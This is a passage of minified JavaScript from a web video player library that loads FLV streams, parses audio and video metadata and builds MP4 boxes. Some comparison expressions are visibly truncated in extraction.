t=e.seekParamStart||"bstart",n=e.seekParamEnd||"bend";this._seekHandler=new R(t,n)}else{if("custom"!==e.seekType)throw new g("Invalid seekType in config: ".concat(e.seekType));if("function"!==typeof e.customSeekHandler)throw new g("Custom seekType specified in config but invalid customSeekHandler!");this._seekHandler=new e.customSeekHandler}}},{key:"_selectLoader",value:function(){if(null!=this._config.customLoader)this._loaderClass=this._config.customLoader;else if(this._isWebSocketURL)this._loaderClass=O;else if(T.isSupported())this._loaderClass=T;else if(C.isSupported())this._loaderClass=C;else{if(!x.isSupported())throw new p("Your browser doesn't support xhr with arraybuffer responseType!");this._loaderClass=x}}},{key:"_createLoader",value:function(){this._loader=new this._loaderClass(this._seekHandler,this._config),!1===this._loader.needStashBuffer&&(this._enableStash=!1),this._loader.onContentLengthKnown=this._onContentLengthKnown.bind(this),this._loader.onURLRedirect=this._onURLRedirect.bind(this),this._loader.onDataArrival=this._onLoaderChunkArrival.bind(this),this._loader.onComplete=this._onLoaderComplete.bind(this),this._loader.onError=this._onLoaderError.bind(this)}},{key:"open",value:function(e){this._currentRange={from:0,to:-1},e&&(this._currentRange.from=e),this._speedSampler.reset(),e||(this._fullRequestFlag=!0),this._loader.open(this._dataSource,Object.assign({},this._currentRange))}},{key:"abort",value:function(){this._loader.abort(),this._paused&&(this._paused=!1,this._resumeFrom=0)}},{key:"pause",value:function(){this.isWorking()&&(this._loader.abort(),0!==this._stashUsed?(this._resumeFrom=this._stashByteStart,this._currentRange.to=this._stashByteStart-1):this._resumeFrom=this._currentRange.to+1,this._stashUsed=0,this._stashByteStart=0,this._paused=!0)}},{key:"resume",value:function(){if(this._paused){this._paused=!1;var e=this._resumeFrom;this._resumeFrom=0,this._internalSeek(e,!0)}}},{key:"seek",value:function(e){this._paused=!1,this._stashUsed=0,this._stashByteStart=0,this._internalSeek(e,!0)}},{key:"_internalSeek",value:function(e,t){this._loader.isWorking()&&this._loader.abort(),this._flushStashBuffer(t),this._loader.destroy(),this._loader=null;var n={from:e,to:-1};this._currentRange={from:n.from,to:-1},this._speedSampler.reset(),this._stashSize=this._stashInitialSize,this._createLoader(),this._loader.open(this._dataSource,n),this._onSeeked&&this._onSeeked()}},{key:"updateUrl",value:function(e){if(!e||"string"!==typeof e||0===e.length)throw new g("Url must be a non-empty string!");this._dataSource.url=e}},{key:"_expandBuffer",value:function(e){for(var t=this._stashSize;t+10485760){var i=new Uint8Array(this._stashBuffer,0,this._stashUsed);new Uint8Array(n,0,t).set(i,0)}this._stashBuffer=n,this._bufferSize=t}}},{key:"_normalizeSpeed",value:function(e){var t=this._speedNormalizeList,n=t.length-1,i=0,r=0,a=n;if(e=t[i]&&e=512&&e<=1024?Math.floor(1.5*e):2*e)>8192&&(t=8192);var n=1024*t+1048576;this._bufferSize0){var o=this._stashBuffer.slice(0,this._stashUsed),s=this._dispatchChunks(o,this._stashByteStart);if(s0){var l=new Uint8Array(o,s);a.set(l,0),this._stashUsed=l.byteLength,this._stashByteStart+=s}}else this._stashUsed=0,this._stashByteStart+=s;this._stashUsed+e.byteLength>this._bufferSize&&(this._expandBuffer(this._stashUsed+e.byteLength),a=new Uint8Array(this._stashBuffer,0,this._bufferSize)),a.set(new Uint8Array(e),this._stashUsed),this._stashUsed+=e.byteLength}else{var u=this._dispatchChunks(e,t);if(uthis._bufferSize&&(this._expandBuffer(c),a=new Uint8Array(this._stashBuffer,0,this._bufferSize)),a.set(new Uint8Array(e,u),0),this._stashUsed+=c,this._stashByteStart=t+u}}}else if(0===this._stashUsed){var d=this._dispatchChunks(e,t);if(dthis._bufferSize&&this._expandBuffer(f),new Uint8Array(this._stashBuffer,0,this._bufferSize).set(new Uint8Array(e,d),0),this._stashUsed+=f,this._stashByteStart=t+d}}else{this._stashUsed+e.byteLength>this._bufferSize&&this._expandBuffer(this._stashUsed+e.byteLength);var h=new Uint8Array(this._stashBuffer,0,this._bufferSize);h.set(new Uint8Array(e),this._stashUsed),this._stashUsed+=e.byteLength;var p=this._dispatchChunks(this._stashBuffer.slice(0,this._stashUsed),this._stashByteStart);if(p0){var g=new Uint8Array(this._stashBuffer,p);h.set(g,0)}this._stashUsed-=p,this._stashByteStart+=p}}}},{key:"_flushStashBuffer",value:function(e){if(this._stashUsed>0){var t=this._stashBuffer.slice(0,this._stashUsed),n=this._dispatchChunks(t,this._stashByteStart),i=t.byteLength-n;if(n0){var r=new Uint8Array(this._stashBuffer,0,this._bufferSize),a=new Uint8Array(t,n);r.set(a,0),this._stashUsed=a.byteLength,this._stashByteStart+=n}return 0}c.w(this.TAG,"".concat(i," bytes unconsumed data remain when flush buffer, dropped"))}return this._stashUsed=0,this._stashByteStart=0,i}return 0}},{key:"_onLoaderComplete",value:function(e,t){this._flushStashBuffer(!0),this._onComplete&&this._onComplete(this._extraData)}},{key:"_onLoaderError",value:function(e,t){switch(c.e(this.TAG,"Loader error, code = ".concat(t.code,", msg = ").concat(t.msg)),this._flushStashBuffer(!1),this._isEarlyEofReconnecting&&(this._isEarlyEofReconnecting=!1,e=b.UNRECOVERABLE_EARLY_EOF),e){case b.EARLY_EOF:if(!this._config.isLive&&this._totalLength){var n=this._currentRange.to+1;return void(n0){var n=e.getConfig();t.emit("change",n)}}},{key:"registerListener",value:function(t){e.emitter.addListener("change",t)}},{key:"removeListener",value:function(t){e.emitter.removeListener("change",t)}},{key:"addLogListener",value:function(t){c.emitter.addListener("log",t),c.emitter.listenerCount("log")>0&&(c.ENABLE_CALLBACK=!0,e._notifyChange())}},{key:"removeLogListener",value:function(t){c.emitter.removeListener("log",t),0===c.emitter.listenerCount("log")&&(c.ENABLE_CALLBACK=!1,e._notifyChange())}},{key:"forceGlobalTag",get:function(){return c.FORCE_GLOBAL_TAG},set:function(t){c.FORCE_GLOBAL_TAG=t,e._notifyChange()}},{key:"globalTag",get:function(){return c.GLOBAL_TAG},set:function(t){c.GLOBAL_TAG=t,e._notifyChange()}},{key:"enableAll",get:function(){return c.ENABLE_VERBOSE&&c.ENABLE_DEBUG&&c.ENABLE_INFO&&c.ENABLE_WARN&&c.ENABLE_ERROR},set:function(t){c.ENABLE_VERBOSE=t,c.ENABLE_DEBUG=t,c.ENABLE_INFO=t,c.ENABLE_WARN=t,c.ENABLE_ERROR=t,e._notifyChange()}},{key:"enableDebug",get:function(){return c.ENABLE_DEBUG},set:function(t){c.ENABLE_DEBUG=t,e._notifyChange()}},{key:"enableVerbose",get:function(){return c.ENABLE_VERBOSE},set:function(t){c.ENABLE_VERBOSE=t,e._notifyChange()}},{key:"enableInfo",get:function(){return c.ENABLE_INFO},set:function(t){c.ENABLE_INFO=t,e._notifyChange()}},{key:"enableWarn",get:function(){return c.ENABLE_WARN},set:function(t){c.ENABLE_WARN=t,e._notifyChange()}},{key:"enableError",get:function(){return c.ENABLE_ERROR},set:function(t){c.ENABLE_ERROR=t,e._notifyChange()}}]),e}();N.emitter=new l.a;var j=N,B=function(){function e(){Object(i.a)(this,e),this.mimeType=null,this.duration=null,this.hasAudio=null,this.hasVideo=null,this.audioCodec=null,this.videoCodec=null,this.audioDataRate=null,this.videoDataRate=null,this.audioSampleRate=null,this.audioChannelCount=null,this.width=null,this.height=null,this.fps=null,this.profile=null,this.level=null,this.refFrames=null,this.chromaFormat=null,this.sarNum=null,this.sarDen=null,this.metadata=null,this.segments=null,this.segmentCount=null,this.hasKeyframesIndex=null,this.keyframesIndex=null}return Object(r.a)(e,[{key:"isComplete",value:function(){var e=!1===this.hasAudio||!0===this.hasAudio&&null!=this.audioCodec&&null!=this.audioSampleRate&&null!=this.audioChannelCount,t=!1===this.hasVideo||!0===this.hasVideo&&null!=this.videoCodec&&null!=this.width&&null!=this.height&&null!=this.fps&&null!=this.profile&&null!=this.level&&null!=this.refFrames&&null!=this.chromaFormat&&null!=this.sarNum&&null!=this.sarDen;return null!=this.mimeType&&null!=this.duration&&null!=this.metadata&&null!=this.hasKeyframesIndex&&e&&t}},{key:"isSeekable",value:function(){return!0===this.hasKeyframesIndex}},{key:"getNearestKeyframe",value:function(e){if(null==this.keyframesIndex)return null;var t=this.keyframesIndex,n=this._search(t.times,e);return{index:n,milliseconds:t.times[n],fileposition:t.filepositions[n]}}},{key:"_search",value:function(e,t){var n=0,i=e.length-1,r=0,a=0,o=i;for(t=e[r]&&t=128){t.push(String.fromCharCode(65535&a)),i+=2;continue}}}else if(n[i]<240){if(U(n,i,2)){var o=(15&n[i])<<12|(63&n[i+1])<<6|63&n[i+2];if(o>=2048&&55296!==(63488&o)){t.push(String.fromCharCode(65535&o)),i+=3;continue}}}else if(n[i]<248&&U(n,i,3)){var s=(7&n[i])<<18|(63&n[i+1])<<12|(63&n[i+2])<<6|63&n[i+3];if(s>65536&&s<1114112){s-=65536,t.push(String.fromCharCode(s>>>10|55296)),t.push(String.fromCharCode(1023&s|56320)),i+=4;continue}}t.push(String.fromCharCode(65533)),++i}return t.join("")},z=function(){var e=new ArrayBuffer(2);return new DataView(e).setInt16(0,256,!0),256===new Int16Array(e)[0]}(),V=function(){function e(){Object(i.a)(this,e)}return Object(r.a)(e,null,[{key:"parseScriptData",value:function(t,n,i){var r={};try{var a=e.parseValue(t,n,i),o=e.parseValue(t,n+a.size,i-a.size);r[a.data]=o.data}catch(s){c.e("AMF",s.toString())}return r}},{key:"parseObject",value:function(t,n,i){if(i<3)throw new m("Data not enough when parse ScriptDataObject");var r=e.parseString(t,n,i),a=e.parseValue(t,n+r.size,i-r.size),o=a.objectEnd;return{data:{name:r.data,value:a.data},size:r.size+a.size,objectEnd:o}}},{key:"parseVariable",value:function(t,n,i){return e.parseObject(t,n,i)}},{key:"parseString",value:function(e,t,n){if(n<2)throw new m("Data not enough when parse String");var i=new DataView(e,t,n).getUint16(0,!z);return{data:i>0?F(new Uint8Array(e,t+2,i)):"",size:2+i}}},{key:"parseLongString",value:function(e,t,n){if(n<4)throw new m("Data not enough when parse LongString");var i=new DataView(e,t,n).getUint32(0,!z);return{data:i>0?F(new Uint8Array(e,t+4,i)):"",size:4+i}}},{key:"parseDate",value:function(e,t,n){if(n<10)throw new m("Data size invalid when parse Date");var i=new DataView(e,t,n),r=i.getFloat64(0,!z),a=i.getInt16(8,!z);return{data:new Date(r+=60*a*1e3),size:10}}},{key:"parseValue",value:function(t,n,i){if(i<1)throw new m("Data not enough when parse Value");var r,a=new DataView(t,n,i),o=1,s=a.getUint8(0),l=!1;try{switch(s){case 0:r=a.getFloat64(1,!z),o+=8;break;case 1:r=!!a.getUint8(1),o+=1;break;case 2:var u=e.parseString(t,n+1,i-1);r=u.data,o+=u.size;break;case 3:r={};var d=0;for(9===(16777215&a.getUint32(i-4,!z))&&(d=3);o32)throw new g("ExpGolomb: readBits() bits exceeded max 32bits!");if(e<=this._current_word_bits_left){var t=this._current_word>>>32-e;return this._current_word<<=e,this._current_word_bits_left-=e,t}var n=this._current_word_bits_left?this._current_word:0;n>>>=32-this._current_word_bits_left;var i=e-this._current_word_bits_left;this._fillCurrentWord();var r=Math.min(i,this._current_word_bits_left),a=this._current_word>>>32-r;return this._current_word<<=r,this._current_word_bits_left-=r,n=n<>>e))return this._current_word<<=e,this._current_word_bits_left-=e,e;return this._fillCurrentWord(),e+this._skipLeadingZero()}},{key:"readUEG",value:function(){var e=this._skipLeadingZero();return this.readBits(e+1)-1}},{key:"readSEG",value:function(){var e=this.readUEG();return 1&e?e+1>>>1:-1*(e>>>1)}}]),e}(),W=function(){function e(){Object(i.a)(this,e)}return Object(r.a)(e,null,[{key:"_ebsp2rbsp",value:function(e){for(var t=e,n=t.byteLength,i=new Uint8Array(n),r=0,a=0;a=2&&3===t[a]&&0===t[a-1]&&0===t[a-2]||(i[r]=t[a],r++);return new Uint8Array(i.buffer,0,r)}},{key:"parseSPS",value:function(t){var n=e._ebsp2rbsp(t),i=new H(n);i.readByte();var r=i.readByte();i.readByte();var a=i.readByte();i.readUEG();var o=e.getProfileString(r),s=e.getLevelString(a),l=1,u=420,c=8;if((100===r||110===r||122===r||244===r||44===r||83===r||86===r||118===r||128===r||138===r||144===r)&&(3===(l=i.readUEG())&&i.readBits(1),l<=3&&(u=[0,420,422,444][l]),c=i.readUEG()+8,i.readUEG(),i.readBits(1),i.readBool()))for(var d=3!==l?8:12,f=0;f0&&R<16?(S=[1,12,10,16,40,24,20,32,80,18,15,64,160,4,3,2][R-1],T=[1,11,11,11,33,11,11,11,33,11,11,33,99,3,2,1][R-1]):255===R&&(S=i.readByte()<<8|i.readByte(),T=i.readByte()<<8|i.readByte())}if(i.readBool()&&i.readBool(),i.readBool()&&(i.readBits(4),i.readBool()&&i.readBits(24)),i.readBool()&&(i.readUEG(),i.readUEG()),i.readBool()){var L=i.readBits(32),P=i.readBits(32);x=i.readBool(),C=(O=P)/(A=2*L)}}var I=1;1===S&&1===T||(I=S/T);var M=0,D=0;0===l?(M=1,D=2-b):(M=3===l?1:2,D=(1===l?2:1)*(2-b));var N=16*(v+1),j=16*(y+1)*(2-b);N-=(_+k)*M,j-=(w+E)*D;var B=Math.ceil(N*I);return i.destroy(),i=null,{profile_string:o,level_string:s,bit_depth:c,ref_frames:g,chroma_format:u,chroma_format_string:e.getChromaFormatString(u),frame_rate:{fixed:x,fps:C,fps_den:A,fps_num:O},sar_ratio:{width:S,height:T},codec_size:{width:N,height:j},present_size:{width:B,height:j}}}},{key:"_skipScalingList",value:function(e,t){for(var n=8,i=8,r=0;r13))return 0;i=e.probe(t).dataOffset}this._firstParse&&(this._firstParse=!1,n+i!==this._dataOffset&&c.w(this.TAG,"First time parsing but chunk byteStart invalid!"),0!==new DataView(t,i).getUint32(0,!r)&&c.w(this.TAG,"PrevTagSize0 !== 0 !!!"),i+=4);for(;it.byteLength)break;var o=a.getUint8(0),s=16777215&a.getUint32(0,!r);if(i+11+s+4>t.byteLength)break;if(8===o||9===o||18===o){var l=a.getUint8(4),u=a.getUint8(5),d=a.getUint8(6)|u<<8|l<<16|a.getUint8(7)<<24;0!==(16777215&a.getUint32(7,!r))&&c.w(this.TAG,"Meet tag which has StreamID != 0!");var f=i+11;switch(o){case 8:this._parseAudioData(t,f,s,d);break;case 9:this._parseVideoData(t,f,s,d,n+i);break;case 18:this._parseScriptData(t,f,s)}var h=a.getUint32(11+s,!r);h!==11+s&&c.w(this.TAG,"Invalid PrevTagSize ".concat(h)),i+=11+s+4}else c.w(this.TAG,"Unsupported tag type ".concat(o,", skipped")),i+=11+s+4}return this._isInitialMetadataDispatched()&&this._dispatch&&(this._audioTrack.length||this._videoTrack.length)&&this._onDataAvailable(this._audioTrack,this._videoTrack),i}},{key:"_parseScriptData",value:function(e,t,n){var i=V.parseScriptData(e,t,n);if(i.hasOwnProperty("onMetaData")){if(null==i.onMetaData||"object"!==typeof i.onMetaData)return void c.w(this.TAG,"Invalid onMetaData structure!");this._metadata&&c.w(this.TAG,"Found another onMetaData tag!"),this._metadata=i;var r=this._metadata.onMetaData;if(this._onMetaDataArrived&&this._onMetaDataArrived(Object.assign({},r)),"boolean"===typeof r.hasAudio&&!1===this._hasAudioFlagOverrided&&(this._hasAudio=r.hasAudio,this._mediaInfo.hasAudio=this._hasAudio),"boolean"===typeof r.hasVideo&&!1===this._hasVideoFlagOverrided&&(this._hasVideo=r.hasVideo,this._mediaInfo.hasVideo=this._hasVideo),"number"===typeof r.audiodatarate&&(this._mediaInfo.audioDataRate=r.audiodatarate),"number"===typeof r.videodatarate&&(this._mediaInfo.videoDataRate=r.videodatarate),"number"===typeof r.width&&(this._mediaInfo.width=r.width),"number"===typeof r.height&&(this._mediaInfo.height=r.height),"number"===typeof r.duration){if(!this._durationOverrided){var a=Math.floor(r.duration*this._timescale);this._duration=a,this._mediaInfo.duration=a}}else this._mediaInfo.duration=0;if("number"===typeof r.framerate){var o=Math.floor(1e3*r.framerate);if(o>0){var s=o/1e3;this._referenceFrameRate.fixed=!0,this._referenceFrameRate.fps=s,this._referenceFrameRate.fps_num=o,this._referenceFrameRate.fps_den=1e3,this._mediaInfo.fps=s}}if("object"===typeof r.keyframes){this._mediaInfo.hasKeyframesIndex=!0;var l=r.keyframes;this._mediaInfo.keyframesIndex=this._parseKeyframesIndex(l),r.keyframes=null}else this._mediaInfo.hasKeyframesIndex=!1;this._dispatch=!1,this._mediaInfo.metadata=r,c.v(this.TAG,"Parsed onMetaData"),this._mediaInfo.isComplete()&&this._onMediaInfo(this._mediaInfo)}Object.keys(i).length>0&&this._onScriptDataArrived&&this._onScriptDataArrived(Object.assign({},i))}},{key:"_parseKeyframesIndex",value:function(e){for(var t=[],n=[],i=1;i>>4;if(2===a||10===a){var o=0,s=(12&r)>>>2;if(s>=0&&s<=4){o=this._flvSoundRateTable[s];var l=1&r,u=this._audioMetadata,d=this._audioTrack;if(u||(!1===this._hasAudio&&!1===this._hasAudioFlagOverrided&&(this._hasAudio=!0,this._mediaInfo.hasAudio=!0),(u=this._audioMetadata={}).type="audio",u.id=d.id,u.timescale=this._timescale,u.duration=this._duration,u.audioSampleRate=o,u.channelCount=0===l?1:2),10===a){var f=this._parseAACAudioData(e,t+1,n-1);if(void 0==f)return;if(0===f.packetType){u.config&&c.w(this.TAG,"Found another AudioSpecificConfig!");var h=f.data;u.audioSampleRate=h.samplingRate,u.channelCount=h.channelCount,u.codec=h.codec,u.originalCodec=h.originalCodec,u.config=h.config,u.refSampleDuration=1024/u.audioSampleRate*u.timescale,c.v(this.TAG,"Parsed AudioSpecificConfig"),this._isInitialMetadataDispatched()?this._dispatch&&(this._audioTrack.length||this._videoTrack.length)&&this._onDataAvailable(this._audioTrack,this._videoTrack):this._audioInitialMetadataDispatched=!0,this._dispatch=!1,this._onTrackMetadata("audio",u);var p=this._mediaInfo;p.audioCodec=u.originalCodec,p.audioSampleRate=u.audioSampleRate,p.audioChannelCount=u.channelCount,p.hasVideo?null!=p.videoCodec&&(p.mimeType='video/x-flv; codecs="'+p.videoCodec+","+p.audioCodec+'"'):p.mimeType='video/x-flv; codecs="'+p.audioCodec+'"',p.isComplete()&&this._onMediaInfo(p)}else if(1===f.packetType){var m=this._timestampBase+i,g={unit:f.data,length:f.data.byteLength,dts:m,pts:m};d.samples.push(g),d.length+=f.data.length}else c.e(this.TAG,"Flv: Unsupported AAC data type ".concat(f.packetType))}else if(2===a){if(!u.codec){var v=this._parseMP3AudioData(e,t+1,n-1,!0);if(void 0==v)return;u.audioSampleRate=v.samplingRate,u.channelCount=v.channelCount,u.codec=v.codec,u.originalCodec=v.originalCodec,u.refSampleDuration=1152/u.audioSampleRate*u.timescale,c.v(this.TAG,"Parsed MPEG Audio Frame Header"),this._audioInitialMetadataDispatched=!0,this._onTrackMetadata("audio",u);var y=this._mediaInfo;y.audioCodec=u.codec,y.audioSampleRate=u.audioSampleRate,y.audioChannelCount=u.channelCount,y.audioDataRate=v.bitRate,y.hasVideo?null!=y.videoCodec&&(y.mimeType='video/x-flv; codecs="'+y.videoCodec+","+y.audioCodec+'"'):y.mimeType='video/x-flv; codecs="'+y.audioCodec+'"',y.isComplete()&&this._onMediaInfo(y)}var b=this._parseMP3AudioData(e,t+1,n-1,!1);if(void 0==b)return;var _=this._timestampBase+i,k={unit:b,length:b.byteLength,dts:_,pts:_};d.samples.push(k),d.length+=b.length}}else this._onError(G.FORMAT_ERROR,"Flv: Invalid audio sample rate idx: "+s)}else this._onError(G.CODEC_UNSUPPORTED,"Flv: Unsupported audio codec idx: "+a)}}},{key:"_parseAACAudioData",value:function(e,t,n){if(!(n<=1)){var i={},r=new Uint8Array(e,t,n);return i.packetType=r[0],0===r[0]?i.data=this._parseAACAudioSpecificConfig(e,t+1,n-1):i.data=r.subarray(1),i}c.w(this.TAG,"Flv: Invalid AAC packet, missing AACPacketType or/and Data!")}},{key:"_parseAACAudioSpecificConfig",value:function(e,t,n){var i,r,a=new Uint8Array(e,t,n),o=null,s=0,l=null;if(s=i=a[0]>>>3,(r=(7&a[0])<<1|a[1]>>>7)<0||r>=this._mpegSamplingRates.length)this._onError(G.FORMAT_ERROR,"Flv: AAC invalid sampling frequency index!");else{var u=this._mpegSamplingRates[r],c=(120&a[1])>>>3;if(!(c<0||c>=8)){5===s&&(l=(7&a[1])<<1|a[2]>>>7,(124&a[2])>>>2);var d=self.navigator.userAgent.toLowerCase();return-1!==d.indexOf("firefox")?r>=6?(s=5,o=new Array(4),l=r-3):(s=2,o=new Array(2),l=r):-1!==d.indexOf("android")?(s=2,o=new Array(2),l=r):(s=5,l=r,o=new Array(4),r>=6?l=r-3:1===c&&(s=2,o=new Array(2),l=r)),o[0]=s<<3,o[0]|=(15&r)>>>1,o[1]=(15&r)<<7,o[1]|=(15&c)<<3,5===s&&(o[1]|=(15&l)>>>1,o[2]=(1&l)<<7,o[2]|=8,o[3]=0),{config:o,samplingRate:u,channelCount:c,codec:"mp4a.40."+s,originalCodec:"mp4a.40."+i}}this._onError(G.FORMAT_ERROR,"Flv: AAC invalid channel configuration")}}},{key:"_parseMP3AudioData",value:function(e,t,n,i){if(!(n<4)){this._littleEndian;var r=new Uint8Array(e,t,n),a=null;if(i){if(255!==r[0])return;var o=r[1]>>>3&3,s=(6&r[1])>>1,l=(240&r[2])>>>4,u=(12&r[2])>>>2,d=3!==(r[3]>>>6&3)?2:1,f=0,h=0;switch(o){case 0:f=this._mpegAudioV25SampleRateTable[u];break;case 2:f=this._mpegAudioV20SampleRateTable[u];break;case 3:f=this._mpegAudioV10SampleRateTable[u]}switch(s){case 1:34,l>>4,s=15&a;7===s?this._parseAVCVideoPacket(e,t+1,n-1,i,r,o):this._onError(G.CODEC_UNSUPPORTED,"Flv: Unsupported codec in video frame: ".concat(s))}}},{key:"_parseAVCVideoPacket",value:function(e,t,n,i,r,a){if(n<4)c.w(this.TAG,"Flv: Invalid AVC packet, missing AVCPacketType or/and CompositionTime");else{var o=this._littleEndian,s=new DataView(e,t,n),l=s.getUint8(0),u=(16777215&s.getUint32(0,!o))<<8>>8;if(0===l)this._parseAVCDecoderConfigurationRecord(e,t+4,n-4);else if(1===l)this._parseAVCVideoData(e,t+4,n-4,i,r,a,u);else if(2!==l)return void this._onError(G.FORMAT_ERROR,"Flv: Invalid video packet type ".concat(l))}}},{key:"_parseAVCDecoderConfigurationRecord",value:function(e,t,n){if(n<7)c.w(this.TAG,"Flv: Invalid AVCDecoderConfigurationRecord, lack of data!");else{var i=this._videoMetadata,r=this._videoTrack,a=this._littleEndian,o=new DataView(e,t,n);i?"undefined"!==typeof i.avcc&&c.w(this.TAG,"Found another AVCDecoderConfigurationRecord!"):(!1===this._hasVideo&&!1===this._hasVideoFlagOverrided&&(this._hasVideo=!0,this._mediaInfo.hasVideo=!0),(i=this._videoMetadata={}).type="video",i.id=r.id,i.timescale=this._timescale,i.duration=this._duration);var s=o.getUint8(0),l=o.getUint8(1);o.getUint8(2),o.getUint8(3);if(1===s&&0!==l)if(this._naluLengthSize=1+(3&o.getUint8(4)),3===this._naluLengthSize||4===this._naluLengthSize){var u=31&o.getUint8(5);if(0!==u){u>1&&c.w(this.TAG,"Flv: Strange AVCDecoderConfigurationRecord: SPS Count = ".concat(u));for(var d=6,f=0;f1&&c.w(this.TAG,"Flv: Strange AVCDecoderConfigurationRecord: PPS Count = ".concat(E)),d++;for(var S=0;S=n){c.w(this.TAG,"Malformed Nalu near timestamp ".concat(p,", offset = ").concat(f,", dataSize = ").concat(n));break}var g=l.getUint32(f,!s);if(3===h&&(g>>>=8),g>n-h)return void c.w(this.TAG,"Malformed Nalus near timestamp ".concat(p,", NaluSize > DataSize!"));var v=31&l.getUint8(f+h);5===v&&(m=!0);var y=new Uint8Array(e,t+f,h+g),b={type:v,data:y};u.push(b),d+=y.byteLength,f+=h+g}if(u.length){var _=this._videoTrack,k={units:u,length:d,isKeyframe:m,dts:p,cts:o,pts:p+o};m&&(k.fileposition=r),_.samples.push(k),_.length+=d}}},{key:"onTrackMetadata",get:function(){return this._onTrackMetadata},set:function(e){this._onTrackMetadata=e}},{key:"onMediaInfo",get:function(){return this._onMediaInfo},set:function(e){this._onMediaInfo=e}},{key:"onMetaDataArrived",get:function(){return this._onMetaDataArrived},set:function(e){this._onMetaDataArrived=e}},{key:"onScriptDataArrived",get:function(){return this._onScriptDataArrived},set:function(e){this._onScriptDataArrived=e}},{key:"onError",get:function(){return this._onError},set:function(e){this._onError=e}},{key:"onDataAvailable",get:function(){return this._onDataAvailable},set:function(e){this._onDataAvailable=e}},{key:"timestampBase",get:function(){return this._timestampBase},set:function(e){this._timestampBase=e}},{key:"overridedDuration",get:function(){return this._duration},set:function(e){this._durationOverrided=!0,this._duration=e,this._mediaInfo.duration=e}},{key:"overridedHasAudio",set:function(e){this._hasAudioFlagOverrided=!0,this._hasAudio=e,this._mediaInfo.hasAudio=e}},{key:"overridedHasVideo",set:function(e){this._hasVideoFlagOverrided=!0,this._hasVideo=e,this._mediaInfo.hasVideo=e}}],[{key:"probe",value:function(e){var t=new Uint8Array(e),n={match:!1};if(70!==t[0]||76!==t[1]||86!==t[2]||1!==t[3])return n;var i,r,a=(4&t[4])>>>2!==0,o=0!==(1&t[4]),s=(i=t)[r=5]<<24|i[r+1]<<16|i[r+2]<<8|i[r+3];return s<9?n:{match:!0,consumed:s,dataOffset:s,hasAudioTrack:a,hasVideoTrack:o}}}]),e}(),K=function(){function e(){Object(i.a)(this,e)}return Object(r.a)(e,null,[{key:"init",value:function(){for(var t in e.types={avc1:[],avcC:[],btrt:[],dinf:[],dref:[],esds:[],ftyp:[],hdlr:[],mdat:[],mdhd:[],mdia:[],mfhd:[],minf:[],moof:[],moov:[],mp4a:[],mvex:[],mvhd:[],sdtp:[],stbl:[],stco:[],stsc:[],stsd:[],stsz:[],stts:[],tfdt:[],tfhd:[],traf:[],trak:[],trun:[],trex:[],tkhd:[],vmhd:[],smhd:[],".mp3":[]},e.types)e.types.hasOwnProperty(t)&&(e.types[t]=[t.charCodeAt(0),t.charCodeAt(1),t.charCodeAt(2),t.charCodeAt(3)]);var n=e.constants={};n.FTYP=new Uint8Array([105,115,111,109,0,0,0,1,105,115,111,109,97,118,99,49]),n.STSD_PREFIX=new Uint8Array([0,0,0,0,0,0,0,1]),n.STTS=new Uint8Array([0,0,0,0,0,0,0,0]),n.STSC=n.STCO=n.STTS,n.STSZ=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0]),n.HDLR_VIDEO=new Uint8Array([0,0,0,0,0,0,0,0,118,105,100,101,0,0,0,0,0,0,0,0,0,0,0,0,86,105,100,101,111,72,97,110,100,108,101,114,0]),n.HDLR_AUDIO=new Uint8Array([0,0,0,0,0,0,0,0,115,111,117,110,0,0,0,0,0,0,0,0,0,0,0,0,83,111,117,110,100,72,97,110,100,108,101,114,0]),n.DREF=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,12,117,114,108,32,0,0,0,1]),n.SMHD=new Uint8Array([0,0,0,0,0,0,0,0]),n.VMHD=new Uint8Array([0,0,0,1,0,0,0,0,0,0,0,0])}},{key:"box",value:function(e){for(var t=8,n=null,i=Array.prototype.slice.call(arguments,1),r=i.length,a=0;a>>24&255,n[1]=t>>>16&255,n[2]=t>>>8&255,n[3]=255&t,n.set(e,4);for(var o=8,s=0;s>>24&255,t>>>16&255,t>>>8&255,255&t,n>>>24&255,n>>>16&255,n>>>8&255,255&n,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255]))}},{key:"trak",value:function(t){return e.box(e.types.trak,e.tkhd(t),e.mdia(t))}},{key:"tkhd",value:function(t){var n=t.id,i=t.duration,r=t.presentWidth,a=t.presentHeight;return e.box(e.types.tkhd,new Uint8Array([0,0,0,7,0,0,0,0,0,0,0,0,n>>>24&255,n>>>16&255,n>>>8&255,255&n,0,0,0,0,i>>>24&255,i>>>16&255,i>>>8&255,255&i,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,r>>>8&255,255&r,0,0,a>>>8&255,255&a,0,0]))}},{key:"mdia",value:function(t){return e.box(e.types.mdia,e.mdhd(t),e.hdlr(t),e.minf(t))}},{key:"mdhd",value:function(t){var n=t.timescale,i=t.duration;return e.box(e.types.mdhd,new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,n>>>24&255,n>>>16&255,n>>>8&255,255&n,i>>>24&255,i>>>16&255,i>>>8&255,255&i,85,196,0,0]))}},{key:"hdlr",value:function(t){var n=null;return n="audio"===t.type?e.constants.HDLR_AUDIO:e.constants.HDLR_VIDEO,e.box(e.types.hdlr,n)}},{key:"minf",value:function(t){var n=null;return n="audio"===t.type?e.box(e.types.smhd,e.constants.SMHD):e.box(e.types.vmhd,e.constants.VMHD),e.box(e.types.minf,n,e.dinf(),e.stbl(t))}},{key:"dinf",value:function(){return e.box(e.types.dinf,e.box(e.types.dref,e.constants.DREF))}},{key:"stbl",value:function(t){return e.box(e.types.stbl,e.stsd(t),e.box(e.types.stts,e.constants.STTS),e.box(e.types.stsc,e.constants.STSC),e.box(e.types.stsz,e.constants.STSZ),e.box(e.types.stco,e.constants.STCO))}},{key:"stsd",value:function(t){return"audio"===t.type?"mp3"===t.codec?e.box(e.types.stsd,e.constants.STSD_PREFIX,e.mp3(t)):e.box(e.types.stsd,e.constants.STSD_PREFIX,e.mp4a(t)):e.box(e.types.stsd,e.constants.STSD_PREFIX,e.avc1(t))}},{key:"mp3",value:function(t){var n=t.channelCount,i=t.audioSampleRate,r=new 